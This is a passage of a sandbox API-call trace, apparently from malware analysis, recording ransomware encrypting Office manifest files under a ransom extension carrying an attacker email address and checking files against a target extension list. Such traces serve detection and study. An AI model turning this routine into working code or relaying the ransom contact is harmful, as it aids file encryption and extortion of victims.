Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.044] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.044] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.619] GetLastError () returned 0x0 [0147.619] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0147.726] WriteFile (in: hFile=0x10c0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x34b50, lpOverlapped=0x0) returned 1 [0147.737] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.737] WriteFile (in: hFile=0x10c0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.738] SetEndOfFile (hFile=0x10c0) returned 1 [0147.738] CloseHandle (hObject=0x10c0) returned 1 [0147.745] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.745] SetEndOfFile (hFile=0x10d0) returned 1 [0147.747] CloseHandle (hObject=0x10d0) returned 1 [0147.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0147.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.748] lstrlenW (lpString=".doc") returned 4 [0147.748] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.748] lstrlenW (lpString=".docx") returned 5 [0147.748] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.748] lstrlenW (lpString=".pdf") returned 4 [0147.748] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.748] lstrlenW (lpString=".xls") returned 4 [0147.748] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.748] lstrlenW (lpString=".xlsx") returned 5 [0147.748] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.748] lstrlenW (lpString=".ppt") returned 4 [0147.748] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.748] lstrlenW (lpString=".zip") returned 4 [0147.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.748] lstrlenW (lpString=".rar") returned 4 [0147.748] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.748] lstrlenW (lpString=".bz2") returned 4 [0147.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.748] lstrlenW (lpString=".7z") returned 3 [0147.748] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.748] lstrlenW (lpString=".dbf") returned 4 [0147.748] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.749] lstrlenW (lpString=".1cd") returned 4 [0147.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.749] lstrlenW (lpString=".jpg") returned 4 [0147.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.749] lstrlenW (lpString=".doc") returned 4 [0147.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString=".docx") returned 5 [0147.749] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.749] lstrlenW (lpString=".pdf") returned 4 [0147.749] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString=".xls") returned 4 [0147.749] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString=".xlsx") returned 5 [0147.749] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.749] lstrlenW (lpString=".ppt") returned 4 [0147.749] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.749] lstrlenW (lpString=".zip") returned 4 [0147.749] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.749] lstrlenW (lpString=".rar") returned 4 [0147.749] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString=".bz2") returned 4 [0147.749] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.749] lstrlenW (lpString=".7z") returned 3 [0147.749] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.749] lstrlenW (lpString=".dbf") returned 4 [0147.749] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.750] lstrlenW (lpString=".1cd") returned 4 [0147.750] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0147.750] lstrlenW (lpString=".jpg") returned 4 [0147.750] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.750] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.750] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0147.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.750] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=343329) returned 1 [0147.750] CloseHandle (hObject=0x10d0) returned 1 [0147.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0147.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.751] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.751] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.751] GetLastError () returned 0x0 [0147.751] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x53d21, lpOverlapped=0x0) returned 1 [0147.803] WriteFile (in: hFile=0x10c0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x53d30, lpOverlapped=0x0) returned 1 [0147.810] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.810] WriteFile (in: hFile=0x10c0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.810] SetEndOfFile (hFile=0x10c0) returned 1 [0147.811] CloseHandle (hObject=0x10c0) returned 1 [0147.818] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.818] SetEndOfFile (hFile=0x10d0) returned 1 [0147.822] CloseHandle (hObject=0x10d0) returned 1 [0147.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0147.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.823] lstrlenW (lpString=".doc") returned 4 [0147.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.823] lstrlenW (lpString=".docx") returned 5 [0147.823] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.823] lstrlenW (lpString=".pdf") returned 4 [0147.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.823] lstrlenW (lpString=".xls") returned 4 [0147.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.823] lstrlenW (lpString=".xlsx") returned 5 [0147.824] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.824] lstrlenW (lpString=".ppt") returned 4 [0147.824] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.824] lstrlenW (lpString=".zip") returned 4 [0147.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.824] lstrlenW (lpString=".rar") returned 4 [0147.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.824] lstrlenW (lpString=".bz2") returned 4 [0147.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.824] lstrlenW (lpString=".7z") returned 3 [0147.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.824] lstrlenW (lpString=".dbf") returned 4 [0147.824] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.824] lstrlenW (lpString=".1cd") returned 4 [0147.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.824] lstrlenW (lpString=".jpg") returned 4 [0147.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.825] lstrlenW (lpString=".doc") returned 4 [0147.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.825] lstrlenW (lpString=".docx") returned 5 [0147.825] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.825] lstrlenW (lpString=".pdf") returned 4 [0147.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.825] lstrlenW (lpString=".xls") returned 4 [0147.825] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.825] lstrlenW (lpString=".xlsx") returned 5 [0147.825] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.825] lstrlenW (lpString=".ppt") returned 4 [0147.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.825] lstrlenW (lpString=".zip") returned 4 [0147.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.825] lstrlenW (lpString=".rar") returned 4 [0147.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.825] lstrlenW (lpString=".bz2") returned 4 [0147.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.825] lstrlenW (lpString=".7z") returned 3 [0147.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.825] lstrlenW (lpString=".dbf") returned 4 [0147.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.826] lstrlenW (lpString=".1cd") returned 4 [0147.826] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0147.826] lstrlenW (lpString=".jpg") returned 4 [0147.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.826] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.826] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0147.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.826] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=1261) returned 1 [0147.826] CloseHandle (hObject=0x10d0) returned 1 [0147.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0147.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.827] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.827] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.827] GetLastError () returned 0x0 [0147.827] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0147.908] WriteFile (in: hFile=0x10c0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0147.909] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.909] WriteFile (in: hFile=0x10c0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.909] SetEndOfFile (hFile=0x10c0) returned 1 [0147.909] CloseHandle (hObject=0x10c0) returned 1 [0147.913] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.914] SetEndOfFile (hFile=0x10d0) returned 1 [0147.914] CloseHandle (hObject=0x10d0) returned 1 [0147.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0147.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.917] lstrlenW (lpString=".doc") returned 4 [0147.917] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.917] lstrlenW (lpString=".docx") returned 5 [0147.917] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.917] lstrlenW (lpString=".pdf") returned 4 [0147.917] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.917] lstrlenW (lpString=".xls") returned 4 [0147.917] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.917] lstrlenW (lpString=".xlsx") returned 5 [0147.917] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.917] lstrlenW (lpString=".ppt") returned 4 [0147.918] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.918] lstrlenW (lpString=".zip") returned 4 [0147.918] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.918] lstrlenW (lpString=".rar") returned 4 [0147.918] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString=".bz2") returned 4 [0147.918] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString=".7z") returned 3 [0147.918] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.918] lstrlenW (lpString=".dbf") returned 4 [0147.918] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.918] lstrlenW (lpString=".1cd") returned 4 [0147.918] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.918] lstrlenW (lpString=".jpg") returned 4 [0147.918] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.918] lstrlenW (lpString=".doc") returned 4 [0147.918] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString=".docx") returned 5 [0147.918] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.918] lstrlenW (lpString=".pdf") returned 4 [0147.918] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString=".xls") returned 4 [0147.918] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.918] lstrlenW (lpString=".xlsx") returned 5 [0147.918] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.918] lstrlenW (lpString=".ppt") returned 4 [0147.919] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.919] lstrlenW (lpString=".zip") returned 4 [0147.919] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.919] lstrlenW (lpString=".rar") returned 4 [0147.919] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.919] lstrlenW (lpString=".bz2") returned 4 [0147.919] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.919] lstrlenW (lpString=".7z") returned 3 [0147.919] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.919] lstrlenW (lpString=".dbf") returned 4 [0147.919] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0147.919] lstrlenW (lpString=".1cd") returned 4 [0147.919] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned 